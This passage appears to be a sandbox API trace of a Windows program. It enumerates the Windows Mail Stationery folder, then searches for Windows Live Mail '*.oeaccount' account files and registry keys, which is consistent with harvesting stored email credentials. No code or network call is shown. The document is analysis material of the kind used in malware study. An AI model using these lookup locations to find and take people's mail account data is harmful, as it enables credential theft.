	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="Green Bubbles.htm") returned 0x11
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="GreenBubbles.jpg") returned 0x10
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="Hand Prints.htm") returned 0xf
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="HandPrints.jpg") returned 0xe
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="Orange Circles.htm") returned 0x12
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.823] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.823] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.823] strlen (_Str="OrangeCircles.jpg") returned 0x11
	[0094.823] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="Peacock.htm") returned 0xb
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="Peacock.jpg") returned 0xb
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="Roses.htm") returned 0x9
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="Roses.jpg") returned 0x9
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="Shades of Blue.htm") returned 0x12
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="ShadesOfBlue.jpg") returned 0x10
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="Soft Blue.htm") returned 0xd
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] strlen (_Str="SoftBlue.jpg") returned 0xc
	[0094.824] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.824] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.825] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x41
	[0094.825] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.825] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.825] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.825] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0094.825] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.826] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0094.826] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0094.826] FindNextFileA (in: hFindFile=0x59f110, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0
	[0094.826] FindClose (in: hFindFile=0x59f110 | out: hFindFile=0x59f110) returned 1
	[0094.826] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.826] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.826] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.826] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.826] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0094.826] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.826] _mbscat (in: param_1=0x18f4f8, param_2=0x413044 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.827] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0094.827] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 0
	[0094.827] FindClose (in: hFindFile=0x596a58 | out: hFindFile=0x596a58) returned 1
	[0094.827] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f7a0, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1
	[0094.827] _mbscat (in: param_1=0x18f7bf, param_2=0x414480 | out: param_1=0x18f7bf) returned 0x18f7bf
	[0094.827] _mbscpy (in: param_1=0x18ed64, param_2=0x18f12c | out: param_1=0x18ed64) returned 0x18ed64
	[0094.827] _mbscat (in: param_1=0x18ed64, param_2=0x413044 | out: param_1=0x18ed64) returned 0x18ed64
	[0094.827] _mbscat (in: param_1=0x18ed64, param_2=0x41445c | out: param_1=0x18ed64) returned 0x18ed64
	[0094.827] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.oeaccount", lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8) returned 0xffffffff
	[0094.827] _mbscpy (in: param_1=0x18f274, param_2=0x18f63c | out: param_1=0x18f274) returned 0x18f274
	[0094.827] _mbscat (in: param_1=0x18f274, param_2=0x413044 | out: param_1=0x18f274) returned 0x18f274
	[0094.827] _mbscat (in: param_1=0x18f274, param_2=0x413744 | out: param_1=0x18f274) returned 0x18f274
	[0094.827] FindFirstFileA (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 0xffffffff
	[0094.827] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f770 | out: phkResult=0x18f770*=0x0) returned 0x2
	[0094.827] ExpandEnvironmentStringsA (in: lpSrc="", lpDst=0x18f8a8, nSize=0x104 | out: lpDst="") returned 0x1
	[0094.827] strlen (_Str="") returned 0x0
	[0094.828] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Live Mail", _Str2="") returned 1
	[0094.828] strlen (_Str="") returned 0x0
	[0094.828] strlen (_Str="") returned 0x0
	[0094.828] strlen (_Str="*.oeaccount") returned 0xb
	[0094.828] _mbscpy (in: param_1=0x18ed64, param_2=0x18f12c | out: param_1=0x18ed64) returned 0x18ed64
	[0094.828] strlen (_Str="") returned 0x0
	[0094.828] _mbscat (in: param_1=0x18ed64, param_2=0x41445c | out: param_1=0x18ed64) returned 0x18ed64
	[0094.828] FindFirstFileA (in: lpFileName="*.oeaccount", lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8) returned 0xffffffff
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] strlen (_Str="*.*") returned 0x3
	[0095.465] _mbscpy (in: param_1=0x18f274, param_2=0x18f63c | out: param_1=0x18f274) returned 0x18f274
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] _mbscat (in: param_1=0x18f274, param_2=0x413744 | out: param_1=0x18f274) returned 0x18f274
	[0095.465] FindFirstFileA (in: lpFileName="*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 0x596a58
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] strlen (_Str=".") returned 0x1
	[0095.465] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.465] strcmp (_Str1=".", _Str2="..") returned -1
	[0095.465] strcmp (_Str1=".", _Str2=".") returned 0
	[0095.465] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] strlen (_Str="..") returned 0x2
	[0095.465] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.465] strcmp (_Str1="..", _Str2="..") returned 0
	[0095.465] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] strlen (_Str="0409") returned 0x4
	[0095.465] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.465] strlen (_Str="") returned 0x0
	[0095.465] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.465] strcmp (_Str1="0409", _Str2="..") returned 1
	[0095.465] strcmp (_Str1="0409", _Str2=".") returned 1
	[0095.465] strlen (_Str="0409") returned 0x4
	[0095.465] strlen (_Str="0409") returned 0x4
	[0095.465] strlen (_Str="*.oeaccount") returned 0xb
	[0095.465] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c
	[0095.465] strlen (_Str="0409") returned 0x4
	[0095.465] _mbscat (in: param_1=0x18e32c, param_2=0x413044 | out: param_1=0x18e32c) returned 0x18e32c
	[0095.465] _mbscat (in: param_1=0x18e32c, param_2=0x41445c | out: param_1=0x18e32c) returned 0x18e32c
	[0095.465] FindFirstFileA (in: lpFileName="0409\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470) returned 0xffffffff
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] strlen (_Str="*.*") returned 0x3
	[0095.466] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] _mbscat (in: param_1=0x18e83c, param_2=0x413044 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.466] _mbscat (in: param_1=0x18e83c, param_2=0x413744 | out: param_1=0x18e83c) returned 0x18e83c
	[0095.466] FindFirstFileA (in: lpFileName="0409\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0x598c20
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] strlen (_Str=".") returned 0x1
	[0095.466] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.466] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.466] strcmp (_Str1=".", _Str2="..") returned -1
	[0095.466] strcmp (_Str1=".", _Str2=".") returned 0
	[0095.466] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 1
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] strlen (_Str="..") returned 0x2
	[0095.466] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.466] strlen (_Str="0409") returned 0x4
	[0095.466] _mbscat (in: param_1=0x18eac0, param_2=0x413044 | out: param_1=0x18eac0) returned 0x18eac0
	[0095.466] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0
	[0095.466] strcmp (_Str1="..", _Str2="..") returned 0
	[0095.466] FindNextFileA (in: hFindFile=0x598c20, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980) returned 0
	[0095.466] FindClose (in: hFindFile=0x598c20 | out: hFindFile=0x598c20) returned 1
	[0095.466] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.466] strlen (_Str="") returned 0x0
	[0095.466] strlen (_Str="12520437.cpx") returned 0xc
	[0095.466] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.466] strlen (_Str="") returned 0x0
	[0095.466] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.466] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.466] strlen (_Str="") returned 0x0
	[0095.466] strlen (_Str="12520850.cpx") returned 0xc
	[0095.466] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.466] strlen (_Str="") returned 0x0
	[0095.466] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.466] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.466] strlen (_Str="") returned 0x0
	[0095.466] strlen (_Str="aaclient.dll") returned 0xc
	[0095.466] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.466] strlen (_Str="") returned 0x0
	[0095.466] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="accessibilitycpl.dll") returned 0x14
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="ACCTRES.dll") returned 0xb
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="acledit.dll") returned 0xb
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="aclui.dll") returned 0x9
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="acppage.dll") returned 0xb
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="ActionCenter.dll") returned 0x10
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="ActionCenterCPL.dll") returned 0x13
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="activeds.dll") returned 0xc
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="activeds.tlb") returned 0xc
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] strlen (_Str="actxprxy.dll") returned 0xc
	[0095.467] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] strlen (_Str="") returned 0x0
	[0095.467] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.467] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.467] strlen (_Str="") returned 0x0
	[0095.468] strlen (_Str="AdapterTroubleshooter.exe") returned 0x19
	[0095.468] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] strlen (_Str="") returned 0x0
	[0095.468] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8
	[0095.468] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8) returned 1
	[0095.468] strlen (_Str="") returned 0x0
